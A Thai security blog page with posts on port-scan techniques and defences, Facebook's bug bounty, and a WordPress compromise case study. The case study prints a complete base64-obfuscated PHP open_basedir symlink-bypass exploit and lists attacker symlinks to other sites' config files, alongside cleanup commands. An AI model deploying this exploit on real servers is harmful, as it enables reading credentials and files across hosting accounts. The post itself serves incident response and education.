แสดงบทความที่มีป้ายกำกับ hacker แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ hacker แสดงบทความทั้งหมด

1/04/2558

การ Scan Port และวิธีป้องกัน

Port Scanning เป็นหนึ่งในเทคนิคที่โด่งดังที่สุดที่ผู้โจมตีใช้ในการค้นหาบริการที่พวก เขาจะสามารถเจาะผ่านเข้าไปยังระบบได้ โดยปกติแล้วทุก ๆ ระบบที่ต่อเข้าสู่ระบบ LAN หรือระบบอินเทอร์เน็ตจะเปิดบริการทั้งที่อยู่บนพอร์ตที่เป็นที่รู้จักและ ที่ไม่เป็นที่รู้จัก สำหรับการทำ Port Scanning นั้น ผู้โจมตีจะสามารถค้นหาข้อมูลได้มากมายจากระบบของเป้าหมาย ได้แก่ บริการอะไรบ้างที่กำลังรันอยู่ ผู้ใช้คนไหนเป็นเจ้าของบริการเหล่านั้น สนับสนุนการล็อกอินด้วย anonymous หรือไม่ และบริการด้านเครือข่ายมีการทำ authenticat ion หรือไม่ การทำ Port Scanning ทำได้โดยการส่งข้อความหนึ่งไปยังแต่ละพอร์ต ณ เวลาหนึ่ง ๆ ผลลัพธ์ที่ตอบสนองออกมาจะแสดงให้เห็นว่าพอร์ตนั้น ๆ ถูกใช้อยู่หรือไม ่และสามารถทดสอบดู เพื่อหาจุดอ่อนต่อไปได้หรือไม่ Port Scanners มีความสำคัญต่อผู้ชำนาญด้านความปลอดภัยของเครือข่ายมากเพราะว่ามันสามารถ เปิดเผยจุดอ่อนด้านความปลอดภัยที่มีความเป็นไปได้ของระบบเป้าหมาย

ถึง แม้ว่า Port Scans สามารถเกิดขึ้นกับระบบของคุณ แต่ก็สามารถตรวจจับได้และก็สามารถใช้เครื่องมือที่เหมาะสมมาจำกัดจำนวนของ ข้อมูลเกี่ยวกับบริการที่เปิดได้ ทุกๆระบบที่เปิด สู่สาธารณะจะมีพอร์ตหลายพอร์ตที่เปิดและพร้อมให้ใช้งานได้ โดยมีการจำกัดจำนวนพอร์ตที่จะเปิดให้แก่ผู้ใช้ที่ได้รับอนุญาตและปฏิเสธการ เข้าถึงมายังพอร์ตที่ปิด

เทคนิคต่าง ๆ ของ Port Scan
ก่อนที่ คุณจะป้องกัน Port Scans คุณก็จะต้องเข้าใจเสียก่อนว่า Port Scans ทำงานอย่างไร เนื่องจากมีเทคนิคของ Port Scanning อยู่มากมายหลายรูปแบบ ซึ่งมีเครื่องมือ Port Scanning ที่ทำงานโดยอัตโนมัติ เช่น Nmap และ Nessus

การ scan ต่อไปนี้เป็นรูปแบบมาตรฐานสำหรับ Nmap และ Nessus
1. Address Resolution Protocol (ARP) scans จะตรวจหาอุปกรณ์ที่ทำงานในเครือข่ายโดยการส่งชุดของ ARP broadcasts และเพิ่มค่าของฟิลด์ที่บรรจุ IP address ของเป้าหมายในแต่ละ broadcast packet การ scan ชนิดนี้จะได้รับผลตอบสนองจากอุปกรณ์ที่มี IP บนเครือข่ายออกมาในรูปแบบของ IP address ของแต่ละอุปกรณ์ การ scan แบบนี้จึงทำการ map out ได้ทั้งเครือข่ายอย่างมีประสิทธิภาพ

2.The Vanilla TCP connect scan เป็นเทคนิคการ scan แบบพื้นฐานและง่ายที่สุด คือจะใช้ connect system call ของระบบปฏิบัติการไปบนระบบเป้าหมายเพื่อเปิดการเชื่อมต่อไปยังทุก ๆ พอร์ตที่เปิดอยู่ การ scan ชนิดนี้สามารถจับได้ง่ายมาก โดยล็อก (log) ต่าง ๆ ของระบบที่เป็นเป้าหมายจะแสดงการร้องขอการเชื่อมต่อ (connection requests ) และข้อความแสดงข้อผิดพลาด (error messages) สำหรับบริการที่ตอบรับการเชื่อมต่อนั้น

3.The TCP SYN (Half Open) scans เทคนิคนี้บางครั้งถูกเรียกว่า half open เพราะว่าระบบที่ทำการโจมตีไม่ได้ปิดการเชื่อมต่อที่ได้เปิดไว้ scanner จะส่ง SYN packet ไปยังเป้าหมายและรอการตอบสนอง ถ้าพอร์ตถูกเปิดไว้เป้าหมายก็จะส่ง SYN/ACK กลับมา แต่ถ้าพอร์ตถูกปิดอยู่ เป้าหมายก็จะส่ง RST กลับมา วิธีการ scan รูปแบบนี้ยากต่อการตรวจจับ ปกติเครื่องที่เป็นเป้าหมายจะทำหน้าที่ปิดการเชื่อมต่อที่เปิดไว้ และส่วนใหญ่จะไม่มีระบบการล็อกที่เหมาะสมในการตรวจจับการ scan ชนิดนี้

4.The TCP FIN scan เทคนิคนี้สามารถที่จะทะลุผ่านไฟล์วอลล์ ส่วนใหญ่, packet filters , cละโปรแกรมตรวจจับการ scan ไปได้โดยไม่ถูกตรวจพบ เพราะระบบที่ทำการโจมตีจะส่ง FIN packets ไปยังระบบของเป้าหมาย สำหรับพอร์ตต่าง ๆ ที่ปิดอยู่จะตอบสนองกลับไปด้วย RST ส่วนพอร์ตที่เปิดจะไม่สนใจ packets เหล่านั้นเลย ดังนั้นเครื่องที่ทำการโจมตีก็จะได้ข้อมูลว่ามันได้รับ RST จากพอร์ตไหนบ้างและไม่ได้ RST จากพอร์ตไหนบ้าง

5.The TCP Reverse Ident scan เป็นเทคนิคที่สามารถตรวจหาชื่อของเจ้าของแต่ละโพรเซสที่เป็นการเชื่อมต่อ ด้วย TCP บนเครื่องเป้าหมาย การ scan ชนิดนี้จะทำให้ระบบที่ทำการโจมตีสามารถเชื่อมต่อเข้าไปยังพอร์ตที่เปิดอยู่ และใช้ ident protocol ในการค้นหาว่าใครเป็นเจ้าของโพรเซสบนเครื่องเป้าหมายได้

6.The TCP XMAS ถูกใช้เพื่อหาพอร์ตบนเครื่องเป้าหมายที่อยู่ในสถานะ listening โดยจะส่ง TCP packet ที่มี flag เป็น URG, PSH และ FIN ใน TCP header ไปยังพอร์ตของเครื่องเป้าหมาย ถ้าพอร์ต TCP ของเครื่องเป้าหมายปิดอยู่ พอร์ตนั้นก็จะส่ง RST กลับมา แต่ถ้าพอร์ตเปิดอยู่ก็จะไม่สนใจ packet นั้นเลย

7.The TCP NULL scan เทคนิคนี้จะส่ง TCP packet ที่มี sequence number แต่ไม่มี flag ออกไปยังเครื่องเป้าหมาย ถ้าพอร์ตปิดอยู่จะส่ง กลับมา RST packet กลับมา แต่ถ้าพอร์ตเปิดอยู่ ก็จะไม่สนใจ packet นั้นเลย

8.The TCP ACK scan เป็นเทคนิคที่ใช้ค้นหาเว็บไซต์ที่เปิดบริการอยู่ แต่ปฏิเสธการตอบสนองต่อ ICMP ping หรือค้นหากฎ (rule) หรือนโยบาย ( policy) ต่าง ๆ ที่ตั้งไว้ที่ไฟล์วอลล์เพื่อตรวจสอบดูว่าไฟล์วอลล์สามารถกรอง packet อย่างง่าย ๆ หรือเทคนิคชั้นสูง โดยการ scan แบบนี้จะใช้ TCP packet ที่มี flag เป็น ACK ส่งไปยังพอร์ตเครื่องปลายทาง ถ้าพอร์ตเปิดอยู่ เครื่องเป้าหมายจะส่ง RST กลับมา แต่ถ้าปิดอยู่ก็จะไม่สนใจ packet นั้น

9.The FTP Bounce Attack ใช้โพรโตคอล ftp สำหรับสร้างการเชื่อมต่อบริการ ftp ของ proxy วิธีการ scan แบบนี้ ผู้โจมตีจะสามารถซ่อนตัวอยู่หลัง ftp server และ scan เป้าหมายอื่น ๆ ได้โดยไม่ถูกตรวจจับ ดังนั้น ftp servers ส่วนใหญ่จะมีการ disable บริการของ ftp เพื่อความปลอดภัยของระบบ

10.The UDP ICMP port scan ใช้โพรโตคอล UDP ในการ scan หาพอร์ตหมายเลขสูง ๆ โดยเฉพาะในระบบ Solaris แต่จะช้าและไม่น่าเชื่อถือ

11.The ICMP ping-sweeping scan จะใช้คำสั่ง ping เพื่อกวาดดูว่ามีระบบไหนที่เปิดใช้งานอยู่ เครือข่ายส่วนใหญ่จึงมีการกรองหรือ disabled
โพรโตคอล ICMP เพื่อความปลอดภัยของระบบ


การปกป้องระบบจาก Port Scans
ถ้า คุณมี server ที่เปิดให้เข้าถึงได้จากภายนอก ระบบก็จะมีความเสี่ยงต่อการถูก scan port อย่างแน่นอน ปัจจุบันนี้ยังไม่มีวิธีที่แน่นอนในการปราบ port scan เลย และศาลก็พิจารณาว่าการทำ port scan นั้นไม่ผิดกฎหมาย เพียงแต่ถ้าผู้โจมตีนำเอาข้อมูลจาก port scan ไปใช้เจาะหรือเปิดพอร์ตของระบบจึงจะถือว่าผิดกฎหมาย ดังนั้นจึงมีคำถามเกิดขึ้นว่า เราจะทำอย่างไรในการจำกัดข้อมูลที่ถูกส่งออกไปจากระบบของเรา?

วิธี หนึ่งที่จะจำกัดการเข้าถึงข้อมูลจากการทำ port scan ก็คือปิดบริการต่าง ๆ ที่ไม่จำเป็นบนระบบ เช่น ถ้าคุณมีการเปิดบริการ web server ก็ควรจะเปิดพอร์ตสำหรับ http เท่านั้น ในระบบ UNIX มีวิธีที่ง่ายที่สุดในการจำกัดข้อมูลที่จะส่งให้ port scan คือ การแก้ไขที่ไฟล์ /etc/inetd.conf โดยยกเลิกบริการที่ไม่จำเป็นออกไป แล้วแก้ไขที่ไฟล์ของ runlevel ที่ระบบของคุณใช้อยู่ ซึ่งอยู่ภายใต้ไดเรกทอรี /etc/init.d นอกจากนี้ระบบของคุณจะต้องไม่ได้กำลังรันในโหมด X11 มิฉะนั้นระบบของคุณก็จะส่ง broadcast ของบริการหมายเลขพอร์ต 6000 ออกไปไม่ว่าคุณจะล็อกอินหรือไม่ก็ตาม

อีกวิธีหนึ่ง คือ ใช้ TCP Wrappers ซึ่งช่วยให้ผู้ดูแลสามารถกำหนดการอนุญาตหรือปฏิเสธการเข้าถึงบริการต่าง ๆ โดยอ้างอิงถึง IP addresses หรือ domain names โปรแกรม TCP Wrappers ทำงานร่วมกับไฟล์ /etc/inetd.conf ซึ่งทำงานโดยเรียก tcpd daemon ก่อนเพื่อจัดบริการเฉพาะให้ใช้งาน เมื่อมีการร้องขอเข้ามาโดยตรวจได้จากพอร์ตที่อนุญาตให้เข้ามา ก่อนอื่น TCP Wrappers ก็จะตรวจสอบไฟล์ /etc/hosts.allow เพื่อดูว่า IP addresses หรือ domain name นั้น ๆ มีสิทธิเข้าถึงบริการหรือไม่ ถ้าไม่มีการระบุอยู่ในไฟล์นี้ TCP Wrappers ก็จะตรวจสอบที่ไฟล์ /etc/hosts.deny ถ้าไม่มีการระบุไว้อีกหรือมีข้อความเป็น ALL : ALL TCP Wrappers ก็จะไม่สนใจการร้องขอนั้น และไม่อนุญาตให้ใช้บริการที่ถูกร้องขอเข้ามา เมื่อระบบถูก scan port TCP Wrapper จะยังคงอนุญาตให้ประกาศบริการออกไป แต่อย่างไรก็ตาม scanner จะไม่ได้รับข้อมูลเพิ่มเติมใด ๆ จากพอร์ต ยกเว้นว่าจะเป็นการ scan มาจาก host หรือ domain ที่ระบุไว้ในไฟล์ the /etc/hosts.allow เท่านั้น เมื่อมีการ scan ระบบจะแสดงรายชื่อพอร์ตที่เปิดอยู่ และเมื่อผู้โจมตีพยายามเจาะเข้ามาทางพอร์ตที่เปิดอยู่นั้น TCP Wrapper ก็จะปฏิเสธการเชื่อมต่อที่เข้ามาที่ไม่ได้มาจาก host หรือ domain ที่ได้รับอนุญาต แต่ข้อเสียของ TCP Wrapper คือไม่สามารถตรวจสอบได้ครอบคลุมทุกบริการ อย่างเช่น http และ smtp ถ้าทำการตั้งค่าไม่เหมาะสมจะทำให้เสี่ยงต่อการถูกบุกรุกได้ TCP Wrappers ไม่มีจุดอ่อนในเรื่องของ IP spoofing เพราะเมื่อมีการร้องขอเข้ามาTCP Wrapper จะทำ reverse DNS lookup สำหรับ IP address ที่ร้องขอเข้ามา ถ้าค้นพบว่ามีชื่อ domain ตรงกับ IP ที่ร้องขอเข้ามา TCP Wrapper ก็จะอนุญาตการเชื่อมต่อนั้น แต่ถ้าไม่พบ domain ที่ตรงกับ IP TCP Wrapper ก็จะพิจารณาว่าเป็น host ที่ไม่ได้รับอนุญาตและจะไม่ให้ทำการเชื่อมต่อเข้ามา

และวิธีสุดท้าย ในการจำกัดจำนวนข้อมูลที่จะให้แก่ port scans คือ การใช้ PortSentry ผลิตโดย Psionic สำหรับ PortSentry นั้นจะตรวจจับการเชื่อมต่อที่ร้องขอเข้ามาที่พอร์ตจำนวนหนึ่ง และสามารถตั้งค่าให้ไม่ต้องสนใจการร้องขอเข้ามาได้โดยผู้ดูแลระบบสามารถ เลือกว่าจะให้ PortSentry สนใจการเชื่อมต่อเข้ามาที่พอร์ตไหนและจะปฏิเสธการร้องขอไหนบ้าง ผู้ดูแลระบบจะต้องระบุรายการพอร์ตที่ระบบไม่สนับสนุนไว้ PortSentry จะตรวจจับโดยการใช้ TCP Wrapper และใส่ข้อมูลของผู้บุกรุกที่น่าสงสัยไว้ในไฟล์ /etc/hosts.deny PortSentry จะสร้าง default route statement ให้แก่ระบบที่บุกรุก โดยจะทำให้มีการสร้างเส้นทางให้แก่ทุก ๆ packets จากระบบที่ทำการบุกรุกไปยังระบบอื่นหรือไม่ก็ระบบที่ไม่ได้เปิดอยู่ ทำให้ผลลัพธ์ที่ได้ คือ เสมือน ว่าเครื่องเป้าหมายไม่มีตัวตนอยู่จริง บนระบบ Linux PortSentry สามารถตรวจจับการ scan ด้วย TCP และ UDP ทุกชนิด ขณะที่ระบบ Solaris สามารถตรวจจับได้เพียงการ scan แบบ TCP Vanilla และ UDP

สรุป
ทุก ๆ ระบบมีความเสี่ยงต่อการทำ port scanning ทั้งสิ้น การรุกที่ดีที่สุด คือ การรับที่ดี ดังนั้นอย่ายอมรับการติดตั้งระบบปฏิบัติการด้วยค่าที่ตั้งไว้ให้ตั้ง แต่ต้น เพราะค่าเหล่านั้นส่วนใหญ่จะมีการเปิดพอร์ตไว้มากมายเพื่อให้ใช้งานได้ สะดวกขึ้น ก่อนที่จะเปิดให้บริการในระบบ จึงควรทำ port scan ระบบคุณเสียก่อน ถ้าพบว่ามีพอร์ตที่ไม่จำเป็นต้องใช้ก็ปิดพอร์ตเหล่านั้น เพราะยิ่งมีการบริการเปิดไว้มากก็ยิ่งทำให้ระบบมีจุดอ่อนมากขึ้นไปด้วย ควรทำการตรวจสอบไฟล์ /etc/inetd.conf, /etc/init.d และไฟล์ run control บนระบบของคุณอย่างสม่ำเสมอเพื่อค้นหาบริการที่ไม่จำเป็น ถ้าระบบคุณถูกบุกรุก ผุ้โจมตีจะพยายามเปิดพอร์ตบนระบบของคุณเพิ่มขึ้นเพื่อที่จะสามารถเจาะเข้า มาที่จุดอ่อนของพอร์ตได้ง่ายขึ้น ดังนั้นยิ่งผู้ดูแลระบบมีความรอบคอบมากเท่าไร ก็ยิ่งทำให้ระบบมีความต้านทานต่อการเจาะเข้ามามากขึ้นและมีโอกาสถูกบุกรุก น้อยลงเท่านั้น

8/11/2556

เฟซบุ้คจ้างให้แฮก ใครแฮคเฟซบุ้คได้เอาเงินไปเลย

เมื่อสองปีก่อน เฟซบุ้คได้จ่ายเงิน 1 ล้านดอลล่าร์ให้กับแฮคเกอร์ 329 คนที่สามารถหาช่องโหว่ ที่ทางทีมงานของเฟซบุ้คหาไม่เจอ

นี่คือโปรแกรมที่ชื่อว่า Bug Bounty ที่เปิดตัวไปเมื่อ 2 ปีก่อน โดยแทนที่จะจ้างคนที่มีความสามารถ แต่หันไปใช้บริการแฮคเกอร์แทน ซึ่งคนกลุ่มนี้มักจะมีฝีมือสูง ชอบเล่นสนุกเจาะเข้าไปในระบบของบริษัทใหญ่ๆ ดังนั้นบริษัทยักษ์ใหญ่อย่างกูเกิล, เฟซบุ้คและไมโครซอฟท์จึงตัดสินใจหันมาใช้บริการคนเหล่านี้
กลุ่ม bug finding-community ของเฟซบุ้คเองก็เกิดจากการรวมตัวของผู้เชี่ยวชาญด้านความปลอดภัยในอุตสาหกรรมไอที, นักเรียนนักศึกษาและกลุ่มคนหนุ่มสาว โดยคนที่อายุน้อยสุดที่ร่วมการแข่งขันครั้งนี้มีอายุแค่ 13 ปีเอง
ส่วนเงินรางวัลนั้นก็ขึ้นอยู่กับว่าบั๊กหรือช่องโหว่ที่พบนั้นมีระดับความร้ายแรงแค่ไหน ยิ่งมีความเสี่ยงในการถูกเจาะระบบสูง เงินรางวัลก็เยอะตามไปด้วยไม่มีจำกัดเพดานไว้ ส่วนเงินรางวัลขั้นต่ำอยู่ที่ $500 หรือ 15,000 บาทค่ะ สถิติเมื่อสองปีก่อนคนที่ได้รางวัลสูงสุดเป็นจำนวนเงิน $20,000 หรือ 6 แสนกว่าบาทเลยทีเดียว
งานนี้เรียกว่าอยากเจาะระบบก้เจาะไป ยิ่งเจอช่องโหว่เยอะเฟซบุ้คยิ่งชอบ นอกจากนี้ถ้าฝีมือดีจริงเฟซบุ้คก็จะทาบทามจ้างงานแบบจริงๆจังเลยด้วยล่ะ ถ้าใครสนใจก็เข้าไปอ่านรายละเอียดได้ที่ https://www.facebook.com/whitehat/ ค่ะ

6/01/2556

Case Study: Web sites hacked, WordPress โดนแฮก และการแกะรอยแฮกเกอร์ (FingerPrint)

แฮกเกอร์:

ลักษณะการแฮก คือผู้ไม่หวังดีทำการอัพโหลดไฟล์ PHP สคริปต์ที่เขียนขึ้นเอง (ตัวอย่าง) ผ่านช่องโหว่ของปลั๊กอินสคริปต์อัพโหลดของ WordPress (“wp-content/uploads”) ขึ้นไปยังเว็บโฮสติ้ง โดยใช้ช่องโหว่ของ PHP 5.3.8 (exploits and vulnerabilities) ทำการ bypass ฟังก์ชั่น open_baseddir ให้เป็น Off (php.ini) หรือสมัครสมาชิกบนเว็บไซต์หลอกๆ แล้วเจาะช่องโหว่ผ่านยูสเซอร์ ทำให้สคริปต์สามารถทำงานทำงานบนไดร์เรกทอรีอื่นๆ ได้อีก คือยุ่มย่ามไปทั่วไดร์เรกทอรีเว็บไซต์ได้ตามสบาย เช่น การใช้เขียนสคริปต์คำสั่ง PHP ไปนำข้อมูลในไฟล์ “cat /etc/passwd” หรือการทำลิงก์ไปยัง / รูทไดเรกทอรี แล้วเขียน .htaccess ให้แสดงไฟล์ต่างบนเบราว์เซอร์ ลักษณ์นี้เรียกว่า PHP filesystem attacked สิ่งเหล่านี้แฮกเกอร์ล้วนใช้ประโยชน์จากช่องโหว่ของแอพพลิเคชั่น หรือใช้วิธีการที่เรียกกันว่า SQL Injection (การเจาะเข้าไปในระบบ) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์และแสดงข้อมูลใหม่ต่อสายตาผู้เยี่ยมชมเว็บไซต์ ส่วนมากจะเป็นรูปภาพ หรือถ้อยคำไม่สุขภาพ เป็นต้น
ตัวอย่างโค๊ด [PHP 5.3.8 open_basedi() Bypass]: (ไม่ใช่สคริปต์สำหรับแฮก) ไป Base64 ดูโค๊ดกันเองนะครับ
/*
 * PHP 5.3.8 open_basedi() Bypasser
 *
 * Greetz: r0073r ( 1337day.com ), r4dc0re,Sid3^effects       & all members of r00tw0rm.com
 *
 * By CrosS
 * Only for Educational Purpose ))
 * Submit your exploits at > Submit@1337day.com
 *
*/
eval(base64_decode('JGZha2VkaXI9ImN4IjsNCiRmYWtlZGVwPTE2Ow0KDQokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0NCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJzxQUkU+PGltZyBzcmM9Imh0dHA6Ly93d3cucjAwdHcwcm0uY29tL2xvZ28ucG5nIj48UD48YQ0KaHJlZj0iaHR0cDovL3IwMHR3MHJtLmNvbS8iIHRpdGxlPSJSMDBUVzBSTSAtIFBIUCBTeW1saW5rKCkgQnlwYXNzZXIiPlIwMFRXMFJNIC0gUEhQIFN5bWxpbmsoKSBCeXBhc3NlcjwvYT4NCkF1dGhvciA6IENyb3NTDQo8cD5Gb3IgRWR1Y2F0aW9uYWwgUHVycG9zZSBPbmx5IEx1bHoNCjxwPlBIUCA1LjMuOCBzeW1saW5rIG9wZW5fYmFzZWRpciBieXBhc3MNCjxwPk1vcmU6IDxhIGhyZWY9Imh0dHA6Ly9yMDB0dzBybS5jb20vIj5SMDBUVzBSTSAtIFByaXZhdGUgQ29tbXVuaXR5PC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaHltIiB2YWx1ZT0iQ3JlYXRlIFN5bWxpbmsiPjwvZm9ybT4nOw0KDQppZihlbXB0eSgkZmlsZSkpDQoJZXhpdDsNCg0KaWYoIWlzX3dyaXRhYmxlKCIuIikpDQoJZGllKCJub3Qgd3JpdGFibGUgZGlyZWN0b3J5Iik7DQoNCiRsZXZlbD0wOw0KDQpmb3IoJGFzPTA7JGFzPCRmYWtlZGVwOyRhcysrKXsNCglpZighZmlsZV9leGlzdHMoJGZha2VkaXIpKQ0KCQlta2RpcigkZmFrZWRpcik7DQoJY2hkaXIoJGZha2VkaXIpOw0KfQ0KDQp3aGlsZSgxPCRhcy0tKSBjaGRpcigiLi4iKTsNCg0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQoNCmZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspew0KCWlmKCFlbXB0eSgkaGFyZHN0eWxlWyRhXSkpew0KCQlpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSANCgkJCW1rZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJY2hkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQkkYXMrKzsNCgl9DQp9DQokYXMrKzsNCndoaWxlKCRhcy0tKQ0KCWNoZGlyKCIuLiIpOw0KDQpAcm1kaXIoImZha2VzeW1saW5rIik7DQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KDQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQoNCi8vIHRoaXMgbG9vcCB3aWxsIHNraXAgYWxscmVhZHkgY3JlYXRlZCBzeW1saW5rcy4NCndoaWxlKDEpDQoJaWYodHJ1ZT09KEBzeW1saW5rKCJmYWtlc3ltbGluay8iLnN0cl9yZXBlYXQoIi4uLyIsJGZha2VkZXAtMSkuJGZpbGUsICJzeW1saW5rIi4kbnVtKSkpIGJyZWFrOw0KCWVsc2UgJG51bSsrOw0KDQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KbWtkaXIoImZha2VzeW1saW5rIik7DQoNCmRpZSgnPEZPTlQgQ09MT1I9IlJFRCI+Y2hlY2sgc3ltbGluayA8YSBocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4nPC9hPiBmaWxlPC9GT05UPicpOw=='));
?>

ผลเสีย:

แน่นอนครับ ถ้าแก้ไขปัญหาได้เร็วก็โชดดีไปแล้ว แต่ถ้าไม่ทันการ กลุ่มแฮกเกอร์ก็จะประจานชื่อโดเมนเราต่อสายตาชาวโลก (แถมบันทึกชื่อเว็บไซต์ลงฐานข้อมูลให้ฟรีอีกต่างหากครับ)

แนวทางป้องกัน:

Webmaster: ครรอัพเดท CMS และ Plugin ที่ใช้งานอย่างสม่ำเสมอ (และก่อนอัพเดทควรตรวจสอบก่อนว่าเว็บเซิ์รฟเวอร์รองรับการทำงานหรือเปล่า)
Hosting Provider: เว็บเซิร์ฟเวอร์ควรทำ critical security update หรือ patch อย่างสม่ำเสมอ (เช่น PHP, Apache) และติดตามข่าวสาร exploit and vulnerability เพื่อรู้ทันแฮกเกอร์ (โดยปกติแล้วเหล่าแฮกเกอร์จะ submit exploits โชว์อยู่แล้ว)
สุดท้าย ไม่ว่าผู้ให้บริการเว็บโฮสติ้งจะระบบดีแค่ไหน เช่น การใช้เทคโนโลยีกลุ่มเมฆทำการกระจายโหลดโดยอัตโนมัติ (Cloud Technology) หรือระบบ HA ทั่วไป หากเว็บไซต์ยังขับเคลื่อนโดย CMS ผู้รับผิดชอบ (Webmaster) หรือ Web Developer (Outsource) ต้องใส่ใจเป็นพิเศษเรื่องความปลอดภัย
Case Study ก็คือแฮกเกอร์ทำการเจาะเข้าไปในระบบ (เจาะผ่านช่องทางไหน?) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์ (ส่วนมากแล้ว หน้าแรก index ไฟล์) ส่วนข้อมูลใหม่ที่แสดงก็ขึ้นอยู่กับกลุ่มแฮกเกอร์เหล่านั้นใช้รูปภาพสัญญาลักษณ์อะไร หรืออาจถ้อยคำไม่สุขภาพ เป็นต้น แต่ที่สำคัญ case นี้แฮกเกอร์ไม่ได้ทำเท่าที่ว่ามา มีการรันสคริปต์ผ่านเว็บเบราว์เซอร์เพื่อให้ในการดึงข้อมูลระบบมาแสดง (รายละเอียดอธิบายด้านล่างครับ)
Indonesian Cyber Army
Indonesian Cyber Army
Indonesian Cyber Army
Indonesian Cyber Army
มาเริ่มเลยล่ะกัน
[ขั้นตอนที่ 1] – ให้สำรองไดรเรกทอรีที่ติดเชื้อไว้ทั้งหมด (ไดร์เรกทอรี WordPress)
[ขั้นตอนที่ 2] – สั่งหยุดการทำงานของเว็บเซิร์ฟเวอร์ (Apache)
[ขั้นตอนที่ 3] – แก้ไขปัญหาที่เกิดขึ้นอย่างรวดเร็ว (แบบชั่วคราวก่อน)
[3.1] ตรวจสอบไดร์เรกทอรี “wp-connent/uploads/” ว่ามีไฟล์แปลกบ้างไหม (ปกติ WordPress จะไม่มีไฟล์ PHP ในไดร์เรกทอรีนี้) หรือใช้วิธีเปรียบเทียบไฟล์กับข้อมูล backup ก็ได้
find . -wholename '*wp-content/uploads/*.php' -exec ls -al {} \;
ผลลัพธ์ที่ได้ (คัดลอกมาเป็นตัวอย่าง)
lrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/news .. config.php -> /home/news/public_html/config.php
lrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/pcap .. config.php -> /home/user1/public_html/config.php
lrwxrwxrwx 1 apache apache 42 May 27 20:13 ./wp-content/uploads/sTein/user1.. conf_global.php -> /home/user1/public_html/conf_global.php
lrwxrwxrwx 1 apache apache 34 May 27 20:13 ./wp-content/uploads/sTein/gdm .. Settings.php -> /home/gdm/public_html/Settings.php
lrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/haldaemon .. config.php -> /home/haldaemon/public_html/config.php
lrwxrwxrwx 1 apache apache 36 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/nscd .. wp-config.php -> /home/user1/public_html/wp-config.php
lrwxrwxrwx 1 apache apache 39 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. Settings.php -> /home/operator/public_html/Settings.php
lrwxrwxrwx 1 apache apache 34 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/avahi .. config.php -> /home/user1/public_html/config.php
lrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/user1.. Settings.php -> /home/user1/public_html/Settings.php
lrwxrwxrwx 1 apache apache 41 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/vmail .. configuration.php -> /home/vmail/public_html/configuration.php
lrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/root .. Settings.php -> /home/root/public_html/Settings.php
lrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/sshd .. Settings.php -> /home/sshd/public_html/Settings.php
lrwxrwxrwx 1 apache apache 42 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. conf_global.php -> /home/operator/public_html/conf_global.php
lrwxrwxrwx 1 apache apache 44 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/shutdown .. configuration.php -> /home/shutdown/public_html/configuration
ก่อนที่จะลบอาจใช้วิธีค้นหาไฟล์ที่มีการแก้ไขใน 24 ชั่วโมงที่ผ่าน (trick ดูเฉพาะไฟล์ที่เป็น utf8)
find . -mmin -1440 -iname "*.php"
จากนั้นให้ลบไฟล์เหล่านั้นทิ้งอย่างให้เหลือ :-
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
สคริปต์แฮกเกอร์จัดเต็มอะไรให้เราบ้าง (ไดร์เรอทอรีที่สร้างขึ้น) มาดูกันครับ ไล้ลบให้หมดครับ
./INDISHELL/
./wp-content/uploads/sTein/
./wp-content/uploads/products_img/
./wp-content/uploads/products_img/JAMBAN/
./wp-content/uploads/products_img/index.php
./confkiller.php
./index.php
จากนั้นลบไฟล์ที่ติดเชื้อ (Infected PHP files)
find . -iname "*utf*.php" -exec rm -rf {} \;
ระหว่างนี้สามารถสตาร์เซิร์ฟเวอร์เว็บเซิร์ฟเวอร์ได้ (เพื่อตรวจสอบ)
[โอเคดูเหมือนเว็บไซต์สามารถให้บริการต่อได้แล้ว] มาต่อเรื่องทางเทคนิคของแฮกเกอร์กันเลย
แล้วแฮกเกอร์มาจากไหน? ลำดับแรกให้ตรวจสอบ access_log (ขอโดเมน)
